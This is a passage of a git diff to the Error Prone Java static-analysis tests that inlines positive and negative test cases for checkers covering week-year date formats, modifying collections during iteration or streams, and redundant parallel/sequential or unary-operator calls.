"MisusedWeekYearPositiveCases2.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import com.ibm.icu.text.DateFormatSymbols; +import com.ibm.icu.text.SimpleDateFormat; +import com.ibm.icu.util.ULocale; +import java.util.Locale; + +/** Tests for {@link com.ibm.icu.text.SimpleDateFormat}. */ +public class MisusedWeekYearPositiveCases2 { + + void testConstructors() { + // BUG: Diagnostic contains: new SimpleDateFormat("yyyy-MM-dd") + SimpleDateFormat sdf = new SimpleDateFormat("YYYY-MM-dd"); + + // BUG: Diagnostic contains: + sdf = new SimpleDateFormat("YYYY-MM-dd", DateFormatSymbols.getInstance()); + + // BUG: Diagnostic contains: + sdf = new SimpleDateFormat("YYYY-MM-dd", DateFormatSymbols.getInstance(), ULocale.CANADA); + + // BUG: Diagnostic contains: + sdf = new SimpleDateFormat("YYYY-MM-dd", Locale.getDefault()); + + // BUG: Diagnostic contains: + sdf = new SimpleDateFormat("YYYY-MM-dd", "", ULocale.CANADA); + + // BUG: Diagnostic contains: + sdf = new SimpleDateFormat("YYYY-MM-dd", ULocale.CANADA); + } + + void testApplyPatternAndApplyLocalizedPattern() { + SimpleDateFormat sdf = new SimpleDateFormat(); + // BUG: Diagnostic contains: sdf.applyPattern("yyyy-MM-dd") + sdf.applyPattern("YYYY-MM-dd"); + // BUG: Diagnostic contains: + sdf.applyLocalizedPattern("YYYY-MM-dd"); + } +}""") + .doTest(); } @Test public void negativeCases() { - compilationHelper.addSourceFile("testdata/MisusedWeekYearNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "MisusedWeekYearNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import java.text.DateFormatSymbols; +import java.text.SimpleDateFormat; +import java.util.Locale; + +public class MisusedWeekYearNegativeCases { + void testLiteralPattern() { + SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy-MM-dd"); + simpleDateFormat = new SimpleDateFormat("MM-dd"); + simpleDateFormat = new SimpleDateFormat("yyyy-MM-dd", DateFormatSymbols.getInstance()); + simpleDateFormat = new SimpleDateFormat("yyyy-MM-dd", Locale.getDefault()); + + // Don't flag if the pattern contains "ww", the week-in-year specifier. + simpleDateFormat = new SimpleDateFormat("YYYY-ww"); + simpleDateFormat = new SimpleDateFormat("YY-ww"); + simpleDateFormat = new SimpleDateFormat("Y-ww"); + simpleDateFormat = new SimpleDateFormat("Yw"); + } + + void testLiteralPatternWithFolding() { + SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy" + "-MM-dd"); + } + + private static final String WEEK_YEAR_PATTERN = "yyyy-MM-dd"; + + void testConstantPattern() { + SimpleDateFormat simpleDateFormat = new SimpleDateFormat(WEEK_YEAR_PATTERN); + } + + private static class MySimpleDateFormat extends SimpleDateFormat { + public MySimpleDateFormat(String pattern) { + super(pattern); + } + } + + // Don't match on subtypes, since we don't know what their applyPattern and + // applyLocalizedPattern methods might do. + void testSubtype() { + MySimpleDateFormat mySdf = new MySimpleDateFormat("YYYY-MM-dd"); + mySdf.applyPattern("YYYY-MM-dd"); + mySdf.applyLocalizedPattern("YYYY-MM-dd"); + } +}""") + .doTest(); } @Test diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/ModifyCollectionInEnhancedForLoopTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/ModifyCollectionInEnhancedForLoopTest.java index ae441ba9921..95fdf4c076e 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/ModifyCollectionInEnhancedForLoopTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/ModifyCollectionInEnhancedForLoopTest.java @@ -31,14 +31,209 @@ public class ModifyCollectionInEnhancedForLoopTest { @Test public void positiveCase() { compilationHelper - .addSourceFile("testdata/ModifyCollectionInEnhancedForLoopPositiveCases.java") + .addSourceLines( + "ModifyCollectionInEnhancedForLoopPositiveCases.java", + """ + package com.google.errorprone.bugpatterns; + + import java.util.ArrayList; + import java.util.HashMap; + import java.util.HashSet; + import java.util.LinkedList; + import java.util.Map; + + /** + * @author anishvisaria98@gmail.com (Anish Visaria) + */ + public class ModifyCollectionInEnhancedForLoopPositiveCases { + + public static void testBasic(ArrayList arr, HashSet set) { + for (Integer a : arr) { + // BUG: Diagnostic contains: + arr.add(new Integer("42")); + // BUG: Diagnostic contains: + arr.addAll(set); + // BUG: Diagnostic contains: + arr.clear(); + // BUG: Diagnostic contains: + arr.remove(a); + // BUG: Diagnostic contains: + arr.removeAll(set); + // BUG: Diagnostic contains: + arr.retainAll(set); + } + } + + public static void testNested(ArrayList arr, LinkedList list) { + for (Integer x : arr) { + for (Integer y : list) { + // BUG: Diagnostic contains: + arr.add(y); + // BUG: Diagnostic contains: + arr.addAll(list); + // BUG: Diagnostic contains: + arr.clear(); + // BUG: Diagnostic contains: + arr.remove(x); + // BUG: Diagnostic contains: + arr.removeAll(list); + // BUG: Diagnostic contains: + arr.retainAll(list); + // BUG: Diagnostic contains: + list.add(x); + // BUG: Diagnostic contains: + list.addAll(arr); + // BUG: Diagnostic contains: + list.clear(); + // BUG: Diagnostic contains: + list.remove(y); + // BUG: Diagnostic contains: + list.removeAll(arr); + // BUG: Diagnostic contains: + list.retainAll(arr); + } + } + } + + public static void testMapKeySet(HashMap map) { + for (Integer a : map.keySet()) { + // BUG: Diagnostic contains: + map.putIfAbsent(new Integer("42"), new Integer("43")); + // BUG: Diagnostic contains: + map.clear(); + // BUG: Diagnostic contains: + map.remove(a); + } + } + + public static void testMapValues(HashMap map) { + for (Integer a : map.values()) { + // BUG: Diagnostic contains: + map.putIfAbsent(new Integer("42"), new Integer("43")); + // BUG: Diagnostic contains: + map.putIfAbsent(new Integer("42"), a); + // BUG: Diagnostic contains: + map.clear(); + } + } + + public static void testMapEntrySet(HashMap map) { + for (Map.Entry a : map.entrySet()) { + // BUG: Diagnostic contains: + map.putIfAbsent(new Integer("42"), new Integer("43")); + // BUG: Diagnostic contains: + map.clear(); + // BUG: Diagnostic contains: + map.remove(a.getKey()); + } + } + }""") .doTest(); } @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/ModifyCollectionInEnhancedForLoopNegativeCases.java") + .addSourceLines( + "ModifyCollectionInEnhancedForLoopNegativeCases.java", + """ +package com.google.errorprone.bugpatterns; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.HashSet; +import java.util.LinkedList; +import java.util.Map; +import java.util.concurrent.BlockingQueue; +import java.util.concurrent.CopyOnWriteArrayList; + +/** + * @author anishvisaria98@gmail.com (Anish Visaria) + */ +public class ModifyCollectionInEnhancedForLoopNegativeCases { + + public static void testBasic(ArrayList arr, HashSet set) { + for (Integer a : arr) { + set.add(a); + set.addAll(arr); + set.clear(); + set.removeAll(arr); + set.retainAll(arr); + } + + for (Integer i : set) { + arr.add(i); + arr.addAll(set); + arr.clear(); + arr.removeAll(set); + arr.retainAll(set); + } + } + + public static void testNested(ArrayList arr, LinkedList list) { + for (Integer x : arr) { + for (Integer y : list) {} + + list.add(x); + list.addAll(arr); + list.clear(); + list.removeAll(arr); + list.retainAll(arr); + } + } + + public static void testBreakOutOfLoop(ArrayList xs) { + for (Integer x : xs) { + xs.remove(x); + return; + } + for (Integer x : xs) { + xs.remove(x); + System.err.println(); + break; + } + } + + public static void testMapKeySet(HashMap map1, HashMap map2) { + for (Integer a : map1.keySet()) { + map2.putIfAbsent(Integer.parseInt("42"), Integer.parseInt("43")); + map2.clear(); + map2.remove(a); + } + } + + public static void testMapValues(HashMap map1, HashMap map2) { + for (Integer a : map1.values()) { + map2.putIfAbsent(Integer.parseInt("42"), a); + map2.clear(); + map2.remove(Integer.parseInt("42")); + } + } + + public static void testMapEntrySet( + HashMap map1, HashMap map2) { + for (Map.Entry a : map1.entrySet()) { + map2.putIfAbsent(Integer.parseInt("42"), Integer.parseInt("43")); + map2.clear(); + map2.remove(a.getKey()); + } + } + + private static void concurrent() { + CopyOnWriteArrayList cowal = new CopyOnWriteArrayList<>(); + for (int i : cowal) { + cowal.remove(i); + } + } + + interface MyBlockingQueue extends BlockingQueue {} + + private static void customConcurrent(MyBlockingQueue mbq) { + for (Integer i : mbq) { + mbq.add(i); + } + } +}""") .doTest(); } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/ModifySourceCollectionInStreamTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/ModifySourceCollectionInStreamTest.java index dd0a56fa41b..94d9f6e8b5b 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/ModifySourceCollectionInStreamTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/ModifySourceCollectionInStreamTest.java @@ -33,14 +33,198 @@ public class ModifySourceCollectionInStreamTest { @Test public void positiveCases() { compilationHelper - .addSourceFile("testdata/ModifySourceCollectionInStreamPositiveCases.java") + .addSourceLines( + "ModifySourceCollectionInStreamPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import com.google.common.collect.ImmutableList; +import java.util.Arrays; +import java.util.List; +import java.util.stream.Collectors; +import java.util.stream.Stream; + +/** + * Test cases for {@link com.google.errorprone.bugpatterns.ModifySourceCollectionInStream}. + * + * @author deltazulu@google.com (Donald Duo Zhao) + */ +public class ModifySourceCollectionInStreamPositiveCases { + + private final List mutableValues = Arrays.asList(1, 2, 3); + + private void mutateStreamSourceMethodReference() { + + mutableValues.stream() + .map(x -> x + 1) + .filter(x -> x < 5) + // BUG: Diagnostic contains: + .forEach(mutableValues::remove); + + this.mutableValues.stream() + .map(x -> x + 1) + .filter(x -> x < 5) + // BUG: Diagnostic contains: + .forEach(mutableValues::remove); + + getMutableValues().parallelStream() + .map(x -> x + 1) + .filter(x -> x < 5) + // BUG: Diagnostic contains: + .forEach(getMutableValues()::add); + + getMutableValues().stream() + .map(x -> x + 1) + .filter(x -> x < 5) + // BUG: Diagnostic contains: + .forEach(this.getMutableValues()::remove); + + ModifySourceCollectionInStreamPositiveCases[] cases = { + new ModifySourceCollectionInStreamPositiveCases(), + new ModifySourceCollectionInStreamPositiveCases() + }; + cases[0].mutableValues.stream() + .map(x -> x + 1) + .filter(x -> x < 5) + // BUG: Diagnostic contains: + .forEach(cases[0].mutableValues::add); + } + + private List mutateStreamSourceLambdaExpression( + ImmutableList mutableParamList) { + Stream values1 = + mutableParamList.stream() + .map( + x -> { + // BUG: Diagnostic contains: + mutableParamList.add(x); + return x + 1; + }); + + Stream values2 = + mutableParamList.stream() + .filter( + x -> { + // BUG: Diagnostic contains: + mutableParamList.remove(x); + return mutableParamList.size() > 5; + }); + + return Stream.concat(values1, values2).collect(Collectors.toList()); + } + + private List getMutableValues() { + return mutableValues; + } +}""") .doTest(); } @Test public void negativeCasse() { compilationHelper - .addSourceFile("testdata/ModifySourceCollectionInStreamNegativeCases.java") + .addSourceLines( + "ModifySourceCollectionInStreamNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; +import java.util.function.Consumer; +import java.util.stream.Collectors; +import java.util.stream.Stream; + +/** + * Test cases for {@link com.google.errorprone.bugpatterns.ModifySourceCollectionInStream}. + * + * @author deltazulu@google.com (Donald Duo Zhao) + */ +public class ModifySourceCollectionInStreamNegativeCases { + + private final List mutableValues = Arrays.asList(1, 2, 3); + + private void mutateStreamSourceMethodReference() { + + List mutableValues = new ArrayList<>(); + mutableValues.stream().map(x -> x + 1).filter(x -> x < 5).forEach(this.mutableValues::add); + + mutableValues.forEach(this.mutableValues::add); + + ModifySourceCollectionInStreamNegativeCases[] cases = { + new ModifySourceCollectionInStreamNegativeCases(), + new ModifySourceCollectionInStreamNegativeCases() + }; + + cases[0].mutableValues.stream() + .map(x -> x + 1) + .filter(x -> x < 5) + .forEach(cases[1].mutableValues::add); + } + + private List mutateStreamSourceLambdaExpression() { + + List localCopy = new ArrayList<>(); + + Stream values1 = + mutableValues.stream() + .map( + x -> { + localCopy.add(x); + return x + 1; + }); + + Stream values2 = + mutableValues.stream() + .filter( + x -> { + localCopy.remove(x); + return mutableValues.size() > 5; + }); + + return Stream.concat(values1, values2).collect(Collectors.toList()); + } + + private void mutateStreamSourceInNonStreamApi() { + mutableValues.stream() + .map(x -> x + 1) + .filter(x -> x < 5) + .findAny() + .ifPresent(mutableValues::add); + + mutableValues.stream() + .map(x -> x + 1) + .filter(x -> x < 5) + .findFirst() + .ifPresent(value -> mutableValues.remove(value)); + } + + private void mutateDifferentStreamSource() { + // Mutate a different stream source. + mutableValues.stream().filter(x -> x < 5).collect(Collectors.toList()).stream() + .forEach(mutableValues::remove); + + // Mutate source collection whose stream has been closed. + mutableValues.stream() + .filter(x -> x < 5) + .collect(Collectors.toList()) + .forEach(mutableValue -> mutableValues.remove(mutableValue)); + } + + private void mutateNonCollectionStreamSource(CustomContainer vals) { + vals.stream().map(x -> 2.0 * x).forEach(vals::add); + } + + private void lambdaExpressionAsInitializer(List vals) { + Consumer consumer = x -> vals.remove(x); + } + + private interface CustomContainer { + Stream stream(); + + boolean add(T t); + } +}""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/ModifyingCollectionWithItselfTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/ModifyingCollectionWithItselfTest.java index b2b5bd958c7..e1f5c62aa51 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/ModifyingCollectionWithItselfTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/ModifyingCollectionWithItselfTest.java @@ -33,14 +33,113 @@ public class ModifyingCollectionWithItselfTest { @Test public void positiveCases1() { compilationHelper - .addSourceFile("testdata/ModifyingCollectionWithItselfPositiveCases.java") + .addSourceLines( + "ModifyingCollectionWithItselfPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.util.ArrayList; + import java.util.List; + + /** + * @author scottjohnson@google.com (Scott Johnson) + */ + public class ModifyingCollectionWithItselfPositiveCases { + + List a = new ArrayList(); + List c = new ArrayList(); + + public void addAll(List b) { + // BUG: Diagnostic contains: a.addAll(b) + this.a.addAll(a); + + // BUG: Diagnostic contains: a.addAll(1, b) + a.addAll(1, a); + } + + public void containsAll(List b) { + // BUG: Diagnostic contains: this.a.containsAll(b) + this.a.containsAll(this.a); + + // BUG: Diagnostic contains: a.containsAll(b) + a.containsAll(this.a); + } + + public void retainAll(List a) { + // BUG: Diagnostic contains: this.a.retainAll(a) + a.retainAll(a); + } + + public void removeAll() { + // BUG: Diagnostic contains: a.clear() + this.a.removeAll(a); + + // BUG: Diagnostic contains: a.clear() + a.removeAll(a); + } + + static class HasOneField { + List a; + + void removeAll() { + // BUG: Diagnostic contains: a.clear(); + a.removeAll(a); + } + + void testParameterFirst(List b) { + // BUG: Diagnostic contains: this.a.removeAll(b); + b.removeAll(b); + } + + void expressionStatementChecks() { + // BUG: Diagnostic contains: ModifyingCollectionWithItself + boolean b = 2 == 2 && a.containsAll(a); + + // BUG: Diagnostic contains: ModifyingCollectionWithItself + b = a.retainAll(a); + + // BUG: Diagnostic contains: ModifyingCollectionWithItself + b = a.removeAll(a); + } + } + }""") .doTest(); } @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/ModifyingCollectionWithItselfNegativeCases.java") + .addSourceLines( + "ModifyingCollectionWithItselfNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.util.ArrayList; + import java.util.List; + + /** + * @author scottjohnson@google.com (Scott Johnson) + */ + public class ModifyingCollectionWithItselfNegativeCases { + + List a = new ArrayList(); + + public boolean addAll(List b) { + return a.addAll(b); + } + + public boolean removeAll(List b) { + return a.removeAll(b); + } + + public boolean retainAll(List b) { + return a.retainAll(b); + } + + public boolean containsAll(List b) { + return a.containsAll(b); + } + }""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/MultipleParallelOrSequentialCallsTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/MultipleParallelOrSequentialCallsTest.java index 5dccc0b4057..b8a4c320427 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/MultipleParallelOrSequentialCallsTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/MultipleParallelOrSequentialCallsTest.java @@ -42,22 +42,471 @@ public void setup() { @Test public void positiveCases() { compilationTestHelper - .addSourceFile("testdata/MultipleParallelOrSequentialCallsPositiveCases.java") + .addSourceLines( + "MultipleParallelOrSequentialCallsPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import java.util.Collection; +import java.util.List; +import java.util.stream.Stream; + +/** + * @author @mariasam (Maria Sam) on 7/6/17. + */ +class MultipleParallelOrSequentialCallsPositiveCases { + + public void basicCaseParallel(List list) { + // BUG: Diagnostic contains: Did you mean 'list.stream().parallel();'? + list.stream().parallel().parallel(); + } + + public void basicCaseParallelNotFirst(List list) { + // BUG: Diagnostic contains: Did you mean 'list.stream().parallel().map(m -> m);'? + list.stream().map(m -> m).parallel().parallel(); + } + + public void basicCollection(Collection list) { + // BUG: Diagnostic contains: Did you mean 'list.stream().parallel();'? + list.stream().parallel().parallel(); + } + + public void parallelStream(List list) { + // BUG: Diagnostic contains: Did you mean 'list.parallelStream();'? + list.parallelStream().parallel().parallel(); + } + + public void basicCaseParallelThisInMethodArg(List list) { + // BUG: Diagnostic contains: Did you mean 'this.hello(list.stream().parallel());'? + this.hello(list.stream().parallel().parallel()); + } + + public void onlyOneError(List list) { + this.hello( + // BUG: Diagnostic contains: Multiple calls + list.stream().parallel().parallel()); + } + + public void mapMethod(List list) { + // BUG: Diagnostic contains: Did you mean 'hello(list.stream().parallel().map(m -> + // this.hello(null)));'? + hello(list.stream().map(m -> this.hello(null)).parallel().parallel()); + } + + public void betweenMethods(List list) { + // BUG: Diagnostic contains: Did you mean 'list.stream().parallel().map(m -> m.toString());'? + list.stream().parallel().map(m -> m.toString()).parallel(); + } + + public void basicCaseParallelNotLast(List list) { + // BUG: Diagnostic contains: Did you mean 'list.stream().parallel().map(m -> + // m.toString()).findFirst();'? + list.stream().parallel().map(m -> m.toString()).parallel().findFirst(); + } + + public void basicCaseSequential(List list) { + // BUG: Diagnostic contains: Did you mean 'list.stream().sequential().map(m -> m.toString());'? + list.stream().sequential().map(m -> m.toString()).sequential(); + } + + public void bothSequentialAndParallel(List list) { + // this case is unlikely (wrong, even) but just checking that this works + // BUG: Diagnostic contains: Did you mean 'list.stream().sequential().parallel();'? + list.stream().sequential().parallel().sequential(); + } + + public void bothSequentialAndParallelMultiple(List list) { + // this is even more messed up, this test is here to make sure the checker doesn't throw an + // exception + // BUG: Diagnostic contains: Multiple calls + list.stream().sequential().parallel().sequential().parallel(); + } + + public void parallelMultipleLines(List list) { + // BUG: Diagnostic contains: Did you mean 'list.stream().parallel() + list.stream().parallel().map(m -> m.toString()).parallel(); + } + + public void multipleParallelCalls(List list) { + // BUG: Diagnostic contains: Did you mean 'list.parallelStream();'? + list.parallelStream().sequential(); + } + + public String hello(Stream st) { + return ""; + } + + public void streamWithinAStream(List list, List list2) { + // BUG: Diagnostic contains: Did you mean + list.stream() + .flatMap(childDir -> list2.stream()) + .parallel() + .flatMap(a -> list2.stream()) + .parallel(); + } + + public void streamWithinAStreamImmediatelyAfterOtherParallel( + List list, List list2) { + // BUG: Diagnostic contains: Did you mean + list.stream().parallel().map(m -> list2.stream().parallel()).parallel(); + } + + public void parallelAndNestedStreams(List list, List list2) { + // BUG: Diagnostic contains: Did you mean + list.parallelStream() + .flatMap(childDir -> list2.stream()) + .parallel() + .filter(m -> (new TestClass("test")).testClass()) + .map( + a -> { + if (a == null) { + return a; + } + return null; + }) + .filter(a -> a != null) + .flatMap(a -> list2.stream()) + .parallel(); + } + + private class TestClass { + public TestClass(String con) {} + + private boolean testClass() { + return true; + } + } +}""") .doTest(); } @Test public void negativeCases() { compilationTestHelper - .addSourceFile("testdata/MultipleParallelOrSequentialCallsNegativeCases.java") + .addSourceLines( + "MultipleParallelOrSequentialCallsNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.util.List; + + /** Created by mariasam on 7/6/17. */ + public class MultipleParallelOrSequentialCallsNegativeCases { + + public void basicCase(List list) { + list.stream().parallel(); + } + + public void basicCaseSequential(List list) { + list.stream().sequential(); + } + + public void basicCaseNotLast(List list) { + list.stream().parallel().findFirst(); + } + + public void middleParallel(List list) { + list.stream().map(m -> m).parallel().filter(m -> m.isEmpty()); + } + + public void otherMethod() { + SomeObject someObject = new SomeObject(); + someObject.parallel().parallel(); + } + + public void otherMethodNotParallel(List list) { + list.stream().filter(m -> m.isEmpty()).findFirst(); + } + + public void streamWithinAStreamImmediatelyAfter(List list) { + list.stream().map(m -> list.stream().parallel()).parallel(); + } + + public void streamWithinAStreamImmediatelyAfterOtherParallelBothFirstAndWithin( + List list) { + list.stream().parallel().map(m -> list.stream().parallel()); + } + + public void streamWithinAStreamImmediatelyAfterOtherParallelBoth(List list) { + list.stream().sequential().map(m -> list.stream().parallel()).parallel(); + } + + class SomeObject { + public SomeObject parallel() { + return null; + } + } + }""") .doTest(); } @Test public void fixes() { BugCheckerRefactoringTestHelper.newInstance(MultipleParallelOrSequentialCalls.class, getClass()) - .addInput("testdata/MultipleParallelOrSequentialCallsPositiveCases.java") - .addOutput("testdata/MultipleParallelOrSequentialCallsPositiveCases_expected.java") + .addInputLines( + "MultipleParallelOrSequentialCallsPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import java.util.Collection; +import java.util.List; +import java.util.stream.Stream; + +/** + * @author @mariasam (Maria Sam) on 7/6/17. + */ +class MultipleParallelOrSequentialCallsPositiveCases { + + public void basicCaseParallel(List list) { + // BUG: Diagnostic contains: Did you mean 'list.stream().parallel();'? + list.stream().parallel().parallel(); + } + + public void basicCaseParallelNotFirst(List list) { + // BUG: Diagnostic contains: Did you mean 'list.stream().parallel().map(m -> m);'? + list.stream().map(m -> m).parallel().parallel(); + } + + public void basicCollection(Collection list) { + // BUG: Diagnostic contains: Did you mean 'list.stream().parallel();'? + list.stream().parallel().parallel(); + } + + public void parallelStream(List list) { + // BUG: Diagnostic contains: Did you mean 'list.parallelStream();'? + list.parallelStream().parallel().parallel(); + } + + public void basicCaseParallelThisInMethodArg(List list) { + // BUG: Diagnostic contains: Did you mean 'this.hello(list.stream().parallel());'? + this.hello(list.stream().parallel().parallel()); + } + + public void onlyOneError(List list) { + this.hello( + // BUG: Diagnostic contains: Multiple calls + list.stream().parallel().parallel()); + } + + public void mapMethod(List list) { + // BUG: Diagnostic contains: Did you mean 'hello(list.stream().parallel().map(m -> + // this.hello(null)));'? + hello(list.stream().map(m -> this.hello(null)).parallel().parallel()); + } + + public void betweenMethods(List list) { + // BUG: Diagnostic contains: Did you mean 'list.stream().parallel().map(m -> m.toString());'? + list.stream().parallel().map(m -> m.toString()).parallel(); + } + + public void basicCaseParallelNotLast(List list) { + // BUG: Diagnostic contains: Did you mean 'list.stream().parallel().map(m -> + // m.toString()).findFirst();'? + list.stream().parallel().map(m -> m.toString()).parallel().findFirst(); + } + + public void basicCaseSequential(List list) { + // BUG: Diagnostic contains: Did you mean 'list.stream().sequential().map(m -> m.toString());'? + list.stream().sequential().map(m -> m.toString()).sequential(); + } + + public void bothSequentialAndParallel(List list) { + // this case is unlikely (wrong, even) but just checking that this works + // BUG: Diagnostic contains: Did you mean 'list.stream().sequential().parallel();'? + list.stream().sequential().parallel().sequential(); + } + + public void bothSequentialAndParallelMultiple(List list) { + // this is even more messed up, this test is here to make sure the checker doesn't throw an + // exception + // BUG: Diagnostic contains: Multiple calls + list.stream().sequential().parallel().sequential().parallel(); + } + + public void parallelMultipleLines(List list) { + // BUG: Diagnostic contains: Did you mean 'list.stream().parallel() + list.stream().parallel().map(m -> m.toString()).parallel(); + } + + public void multipleParallelCalls(List list) { + // BUG: Diagnostic contains: Did you mean 'list.parallelStream();'? + list.parallelStream().sequential(); + } + + public String hello(Stream st) { + return ""; + } + + public void streamWithinAStream(List list, List list2) { + // BUG: Diagnostic contains: Did you mean + list.stream() + .flatMap(childDir -> list2.stream()) + .parallel() + .flatMap(a -> list2.stream()) + .parallel(); + } + + public void streamWithinAStreamImmediatelyAfterOtherParallel( + List list, List list2) { + // BUG: Diagnostic contains: Did you mean + list.stream().parallel().map(m -> list2.stream().parallel()).parallel(); + } + + public void parallelAndNestedStreams(List list, List list2) { + // BUG: Diagnostic contains: Did you mean + list.parallelStream() + .flatMap(childDir -> list2.stream()) + .parallel() + .filter(m -> (new TestClass("test")).testClass()) + .map( + a -> { + if (a == null) { + return a; + } + return null; + }) + .filter(a -> a != null) + .flatMap(a -> list2.stream()) + .parallel(); + } + + private class TestClass { + public TestClass(String con) {} + + private boolean testClass() { + return true; + } + } +}""") + .addOutputLines( + "MultipleParallelOrSequentialCallsPositiveCases_expected.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import java.util.Collection; +import java.util.List; +import java.util.stream.Stream; + +/** + * @author @mariasam (Maria Sam) on 7/6/17. + */ +class MultipleParallelOrSequentialCallsPositiveCases { + + public void basicCaseParallel(List list) { + // BUG: Diagnostic contains: Did you mean 'list.stream().parallel();'? + list.stream().parallel(); + } + + public void basicCaseParallelNotFirst(List list) { + // BUG: Diagnostic contains: Did you mean 'list.stream().parallel().map(m -> m);'? + list.stream().parallel().map(m -> m); + } + + public void basicCollection(Collection list) { + // BUG: Diagnostic contains: Did you mean 'list.stream().parallel();'? + list.stream().parallel(); + } + + public void parallelStream(List list) { + // BUG: Diagnostic contains: Did you mean 'list.parallelStream();'? + list.parallelStream(); + } + + public void basicCaseParallelThisInMethodArg(List list) { + // BUG: Diagnostic contains: Did you mean 'this.hello(list.stream().parallel());'? + this.hello(list.stream().parallel()); + } + + public void onlyOneError(List list) { + this.hello( + // BUG: Diagnostic contains: Multiple calls + list.stream().parallel()); + } + + public void mapMethod(List list) { + // BUG: Diagnostic contains: Did you mean 'hello(list.stream().parallel().map(m -> + // this.hello(null)));'? + hello(list.stream().parallel().map(m -> this.hello(null))); + } + + public void betweenMethods(List list) { + // BUG: Diagnostic contains: Did you mean 'list.stream().parallel().map(m -> m.toString());'? + list.stream().parallel().map(m -> m.toString()); + } + + public void basicCaseParallelNotLast(List list) { + // BUG: Diagnostic contains: Did you mean 'list.stream().parallel().map(m -> + // m.toString()).findFirst();'? + list.stream().parallel().map(m -> m.toString()).findFirst(); + } + + public void basicCaseSequential(List list) { + // BUG: Diagnostic contains: Did you mean 'list.stream().sequential().map(m -> m.toString());'? + list.stream().sequential().map(m -> m.toString()); + } + + public void bothSequentialAndParallel(List list) { + // this case is unlikely (wrong, even) but just checking that this works + // BUG: Diagnostic contains: Did you mean 'list.stream().sequential().parallel();'? + list.stream().sequential().parallel(); + } + + public void bothSequentialAndParallelMultiple(List list) { + // this is even more messed up, this test is here to make sure the checker doesn't throw an + // exception + // BUG: Diagnostic contains: Multiple calls + list.stream().sequential().parallel().parallel(); + } + + public void parallelMultipleLines(List list) { + // BUG: Diagnostic contains: Did you mean 'list.stream().parallel() + list.stream().parallel().map(m -> m.toString()); + } + + public void multipleParallelCalls(List list) { + // BUG: Diagnostic contains: Did you mean 'list.parallelStream();'? + list.parallelStream(); + } + + public String hello(Stream st) { + return ""; + } + + public void streamWithinAStream(List list, List list2) { + // BUG: Diagnostic contains: Did you mean + list.stream().parallel().flatMap(childDir -> list2.stream()).flatMap(a -> list2.stream()); + } + + public void streamWithinAStreamImmediatelyAfterOtherParallel( + List list, List list2) { + // BUG: Diagnostic contains: Did you mean + list.stream().parallel().map(m -> list2.stream().parallel()); + } + + public void parallelAndNestedStreams(List list, List list2) { + // BUG: Diagnostic contains: Did you mean + list.parallelStream() + .flatMap(childDir -> list2.stream()) + .filter(m -> (new TestClass("test")).testClass()) + .map( + a -> { + if (a == null) { + return a; + } + return null; + }) + .filter(a -> a != null) + .flatMap(a -> list2.stream()); + } + + private class TestClass { + public TestClass(String con) {} + + private boolean testClass() { + return true; + } + } +}""") .doTest(TestMode.AST_MATCH); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/MultipleUnaryOperatorsInMethodCallTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/MultipleUnaryOperatorsInMethodCallTest.java index ddd65440363..7157796044e 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/MultipleUnaryOperatorsInMethodCallTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/MultipleUnaryOperatorsInMethodCallTest.java @@ -31,14 +31,77 @@ public class MultipleUnaryOperatorsInMethodCallTest { @Test public void positiveCase() { compilationHelper - .addSourceFile("testdata/MultipleUnaryOperatorsInMethodCallPositiveCases.java") + .addSourceLines( + "MultipleUnaryOperatorsInMethodCallPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author sulku@google.com (Marsela Sulku) + */ + public class MultipleUnaryOperatorsInMethodCallPositiveCases { + /** these cases do not have suggested fixes */ + public static void tests(int a, int b) { + + // BUG: Diagnostic contains: Avoid having multiple unary operators acting + twoArgs(a++, a--); + // BUG: Diagnostic contains: Avoid having multiple unary operators acting + twoArgs(a--, ++a); + // BUG: Diagnostic contains: Avoid having multiple unary operators acting + twoArgs(++a, a++); + // BUG: Diagnostic contains: Avoid having multiple unary operators acting + twoArgs(--a, --a); + + // BUG: Diagnostic contains: Avoid having multiple unary operators acting + threeArgs(a++, b++, b++); + // BUG: Diagnostic contains: Avoid having multiple unary operators acting + threeArgs(a++, b, a++); + // BUG: Diagnostic contains: Avoid having multiple unary operators acting + threeArgs(++a, b++, --b); + // BUG: Diagnostic contains: Avoid having multiple unary operators acting + threeArgs(++a, a++, b); + // BUG: Diagnostic contains: Avoid having multiple unary operators acting + threeArgs(++a, a++, a); + // BUG: Diagnostic contains: Avoid having multiple unary operators acting + threeArgs(++a, a++, a--); + } + + 